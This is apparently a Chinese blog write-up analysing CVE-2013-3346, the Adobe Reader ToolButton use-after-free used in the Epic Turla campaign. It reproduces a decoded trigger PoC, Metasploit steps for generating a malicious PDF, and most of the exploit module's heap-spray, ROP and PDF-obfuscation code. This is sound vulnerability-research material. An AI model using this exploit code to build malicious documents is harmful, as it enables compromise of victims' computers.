CVE-2013-3346 漏洞研究

7erry

2014 年 8 月,卡巴斯基反病毒实验室曝光了一起当时最为复杂的 APT 攻击行动——“Epic Turla”,攻击目标主要为政府机构、大使馆、军事组织、研究和教育组织及制药企业,攻击中东及欧洲各国,影响范围超过 45 个国家,也正因为其影响之广,被称为“世界十大最大危险的网络攻击”之一。据悉,此次攻击行动可能和俄罗斯政府有关,病毒可能是俄罗斯安全专家所开发的。

在此次攻击行动中,主要用到了 2 个 0day 漏洞:CVE-2013-3346(Adobe Reader ToolButton UAF) 和 CVE-2013-5065(Windows 本地内核提权),其中的提权漏洞主要用于绕过 Adobe Reader 的沙盒保护,但在本节主要是分析此次攻击行动中所使用的 PDF 漏洞,攻击者主要是将恶意 PDF 以邮件附件的形式发送给受害者,当受害者打开恶意 PDF 后,攻击者即可完全控制受害者电脑。

影响范围:

Adobe Reader and Acrobat 9.x before 9.5.5, 10.x before 10.1.7, and 11.x before 11.0.03

漏洞分析

调试运行 Adobe Reader 并打开样本后程序因触发 ACcess Violation 异常而崩溃。通过栈回溯查看栈顶栈帧的返回地址,通过返回地址定位到 Crash Function,阅读 Crash Point 前的指令可推断出 esi 指向了虚表指针

1
2
3
mov eax, dword ptr [esi]
...
call dword ptr [eax+364h]

查看 esi 指向的内存区域发现是紧跟着 padding 字符串一个地址,即用于劫持程序执行流的覆盖地址

《漏洞战争》一书在对此漏洞进行分析时没有对其进行调试,而是使用了 peepdf 这一工具对 PDF 恶意样本进行分析。其原因在于尽管此漏洞和原理和一般的 UAF 漏洞别无二致,但漏洞形成的过程和 Adobe Reader 对象创建的释放机制密切相关,需要花费比较大的精力在逆向研究漏洞对象的释放和 UAF 过程上。因此直接分析 PoC 会更容易理解漏洞的成因和触发一些

使用 peepdf 并开启 f 参数对样本 PDF 文件进行强制解析,发现 PDF 文件打开时的执行动作引用了对象 1,对象 1 的打开执行动作引用了对象 2,对象 2 引用了对象 3,对象 3 内包含了经过 jjencode 加密处理过后的 JS 代码,其开头片段如下

1
if(app.media.getPlayers().length >= 1) Q=~[];Q={___:++Q,$$$$:(![]+"")[Q],__$:++Q,$_$_:(![]+"")[Q],_$_:++Q,$_$$:({}+"")[Q],$$_$:(Q[Q]+"")[Q],_$$:++Q,$$$_:(!""+"")[Q],$__:++Q,$_$:++Q,$$__:({}+"")[Q],$$_:++Q,$$$:++Q,$___:++Q,$__$:++Q};Q.$_=(Q.$_=Q+"")[Q.$_$]+(Q._$=Q.$_[Q.__$])+(Q.$$=(Q.$+"")[Q.__$])+((!Q)+"")[Q._$$]+(Q.__=Q.$_[Q.$$_])+(Q.$=(!""+"")[Q.__$])+(Q._=(!""+"")[Q._$_])+Q.$_[Q.$_$]+Q.__+Q._$+Q.$;Q.$$=Q.$+(!""+"")[Q._$$]+Q.__+Q._+Q.$+Q.$$;Q.$=(Q.___)[Q.$_][Q.$_];...

没用 JSFuck 写,还是不够 JS 魅力时刻。使用 js__jjdecode 对这段 JS 代码解码后得到 POC。除堆喷和 shellcode 外,用于触发漏洞的 JS 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
}); // 创建父 ToolButton 对象并设置回调函数 addButtonFunc

addButtonFunc = function() {
app.addToolButton({cName: "xxx", cExec: "1", cEnable: "removeButtonFunc();"});
} // 创建子 ToolButton 对象并设置了回调函数 removeButtonFunc

removeButtonFunc = function() {
app.removeToolButton({cName: "evil"}); // 删除父对象

for (i=0;i < 10;i++)
arr[i] = part1.concat(part2);
}

注意到 PoC 首先调用 app.addToolButton 函数创建了一个父 ToolButton 对象并为其设置了回调函数 addButtonFunc,再在父对象的回调函数内创建了子 ToolButton 对象并为其设置了回调函数 removeButtonFunc,最后在子对象的回调函数内调用 app.removeToolButton 函数删除了父对象。由于其 JS 对象创建和实现机制上存在的问题,父对象将因此被释放,子对象却仍能保留对父对象的引用,进而导致 UAF。而堆喷会进行占位并如调试结果那般覆盖虚表指针并劫持

漏洞利用

使用 MSF 搜索该漏洞的 exp

1
2
msfconsole
msf6 > search cve-2013-3346

搜索结果

1
2
3
4
5
6
7
8
9
10
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/adobe_toolbutton 2013-08-08 normal No Adobe Reader ToolButton Use After Free
1 exploit/windows/fileformat/adobe_toolbutton 2013-08-08 normal No Adobe Reader ToolButton Use After Free


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/fileformat/adobe_toolbutton

调用该模块并查看模块详情

1
2
msf6 > use exploit/windows/fileformat/adobe_toolbutton
msf6 exploit(windows/fileformat/adobe_toolbutton) > info

模块详情信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
       Name: Adobe Reader ToolButton Use After Free
Module: exploit/windows/fileformat/adobe_toolbutton
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-08-08

Provided by:
Soroush Dalili
Unknown
sinn3r <sinn3r@metasploit.com>
juan vazquez <juan.vazquez@metasploit.com>

Available targets:
Id Name
-- ----
=> 0 Windows XP / Adobe Reader 9/10/11

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.

Payload information:
Space: 1024
Avoid: 1 characters

Description:
This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
the cEnable callback can be used to early free the object memory. Later use of the object
allows triggering the use after free condition. This module has been tested successfully
on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in
November, 2013.

References:
https://nvd.nist.gov/vuln/detail/CVE-2013-3346
OSVDB (96745)
http://www.zerodayinitiative.com/advisories/ZDI-13-212
http://www.adobe.com/support/security/bulletins/apsb13-15.html
http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html


View the full module info with the info -d command.

使用该模块生成木马

1
2
3
msf6 exploit(windows/fileformat/adobe_toolbutton) > set payload windows/exec
msf6 exploit(windows/fileformat/adobe_toolbutton) > set CMD calc.exe
msf6 exploit(windows/fileformat/adobe_toolbutton) > exploit

随后 MSF 将创建 msf.pdf 文件用以欺骗受害者打开并触发漏洞和 payload

Exploit 分析

该模块的 exp 位于

1
/usr/share/metasploit-framework/modules/exploits/windows/fileformat/adobe_toolbutton.rb

exp 的核心代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::RopDb

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Reader ToolButton Use After Free',
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'Payload' => {...},
'Platform' => 'win',
'Targets' => [...],
'Privileged' => false,
'DisclosureDate' => '2013-08-08',
'DefaultTarget' => 0))

register_options([...])
end

def exploit
js_data = make_js

# Create the pdf
pdf = make_pdf(js_data)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)
end


def make_js

# CreateFileMappingA + MapViewOfFile + memcpy rop chain
rop_9 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '9' }))
rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
escaped_payload = Rex::Text.to_unescape(payload.encoded)

js = %Q|
function heapSpray(str, str_addr, r_addr) {
var aaa = unescape("%u0c0c");
aaa += aaa;
while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
var i1 = r_addr - 0x24;
var bbb = aaa.substring(0, i1 / 2);
var sa = str_addr;
while (sa.length < (0x0c0c - r_addr)) sa += sa;
bbb += sa;
bbb += aaa;
var i11 = 0x0c0c - 0x24;
bbb = bbb.substring(0, i11 / 2);
bbb += str;
bbb += aaa;
var i2 = 0x4000 + 0xc000;
var ccc = bbb.substring(0, i2 / 2);
while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
var i3 = (0x1020 - 0x08) / 2;
var ddd = ccc.substring(0, 0x80000 - i3);
var eee = new Array();
for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
return;
}
var shellcode = unescape("#{escaped_payload}");
var executable = "";
var rop9 = unescape("#{rop_9}");
var rop10 = unescape("#{rop_10}");
var rop11 = unescape("#{rop_11}");
var r11 = false;
var vulnerable = true;

var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;

if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
obj_size = 0x330 + 0x1c;
rop = rop9;
ret_addr = unescape("%ua83e%u4a82");
rop_addr = unescape("%u08e8%u0c0c");
r_addr = 0x08e8;
} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
obj_size = 0x360 + 0x1c;
rop = rop10;
rop_addr = unescape("%u08e4%u0c0c");
r_addr = 0x08e4;
ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
r11 = true;
obj_size = 0x370;
rop = rop11;
rop_addr = unescape("%u08a8%u0c0c");
r_addr = 0x08a8;
ret_addr = unescape("%u8003%u4a84");
} else {
vulnerable = false;
}

if (vulnerable) {
var payload = rop + shellcode;
heapSpray(payload, ret_addr, r_addr);

var part1 = "";
if (!r11) {
for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
}
part1 += rop_addr;
var part2 = "";
var part2_len = obj_size - part1.length * 2;
for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
var arr = new Array();

removeButtonFunc = function () {
app.removeToolButton({
cName: "evil"
});

for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
}

addButtonFunc = function () {
app.addToolButton({
cName: "xxx",
cExec: "1",
cEnable: "removeButtonFunc();"
});
}

app.addToolButton({
cName: "evil",
cExec: "1",
cEnable: "addButtonFunc();"
});
}
|

js
end

def random_non_ascii_string(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def io_def(id)
"%d 0 obj \n" % id
end

def io_ref(id)
"%d 0 R" % id
end


#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def n_obfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end


def ascii_hex_whitespace_encode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end


def make_pdf(js)
xref = []
eol = "\n"
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << random_non_ascii_string(4) << eol

# catalog
xref << pdf.length
pdf << io_def(1) << n_obfu("<<") << eol
pdf << n_obfu("/Pages ") << io_ref(2) << eol
pdf << n_obfu("/Type /Catalog") << eol
pdf << n_obfu("/OpenAction ") << io_ref(4) << eol
# The AcroForm is required to get icucnv36.dll / icucnv40.dll to load
pdf << n_obfu("/AcroForm ") << io_ref(6) << eol
pdf << n_obfu(">>") << eol
pdf << endobj

# pages array
xref << pdf.length
pdf << io_def(2) << n_obfu("<<") << eol
pdf << n_obfu("/Kids [") << io_ref(3) << "]" << eol
pdf << n_obfu("/Count 1") << eol
pdf << n_obfu("/Type /Pages") << eol
pdf << n_obfu(">>") << eol
pdf << endobj

# page 1
xref << pdf.length
pdf << io_def(3) << n_obfu("<<") << eol
pdf << n_obfu("/Parent ") << io_ref(2) << eol
pdf << n_obfu("/Type /Page") << eol
pdf << n_obfu(">>") << eol # end obj dict
pdf << endobj

# js action
xref << pdf.length
pdf << io_def(4) << n_obfu("<<")
pdf << n_obfu("/Type/Action/S/JavaScript/JS ") + io_ref(5)
pdf << n_obfu(">>") << eol
pdf << endobj

# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
pdf << io_def(5) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

###
# The following form related data is required to get icucnv36.dll / icucnv40.dll to load
###

# form object
xref << pdf.length
pdf << io_def(6)
pdf << n_obfu("<</XFA ") << io_ref(7) << n_obfu(">>") << eol
pdf << endobj

# form stream
xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF

xref << pdf.length
pdf << io_def(7) << n_obfu("<</Length %s>>" % xfa.length) << eol
pdf << "stream" << eol
pdf << xfa << eol
pdf << "endstream" << eol
pdf << endobj

###
# end form stuff for icucnv36.dll / icucnv40.dll
###


# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end

pdf << "trailer" << eol
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol

pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol
pdf
end
end


=begin

* crash Adobe Reader 10.1.4

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c08e4 ebx=00000000 ecx=02eb6774 edx=66dd0024 esi=02eb6774 edi=00000001
eip=604d3a4d esp=0012e4fc ebp=0012e51c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
AcroRd32_60000000!PDFLTerm+0xbb7cd:
604d3a4d ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=????????

* crash Adobe Reader 11.0.2

(940.d70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.dll -
eax=0c0c08a8 ebx=00000001 ecx=02d68090 edx=5b21005b esi=02d68090 edi=00000000
eip=60197b9b esp=0012e3fc ebp=0012e41c iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213
AcroRd32_60000000!DllCanUnloadNow+0x1493ae:
60197b9b ff9064030000 call dword ptr [eax+364h] ds:0023:0c0c0c0c=????????

=end

注意到其实就是包装了 ROP 等相关逻辑的 PoC,具体地说不同 Adobe 版本的 ToolButton 对象的大小不同且适用的 ROP 链不同,需要根据软件环境进行选择。除此之外的漏洞利用部分和常规 UAF 漏洞利用一致,无需多言。

漏洞修复

可参阅 apsb13-15

Reference

NVD - CVE-2013-3346
CVE - CVE-2013-3346
漏洞战争

  • Title: CVE-2013-3346 漏洞研究
  • Author: 7erry
  • Created at : 2025-04-01 18:53:57
  • Updated at : 2025-04-01 18:53:57
  • Link: https://7erryx.github.io/2025/04/01/Vulnerability Investigation/CVE-2013-3346 漏洞研究/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CVE-2013-3346 漏洞研究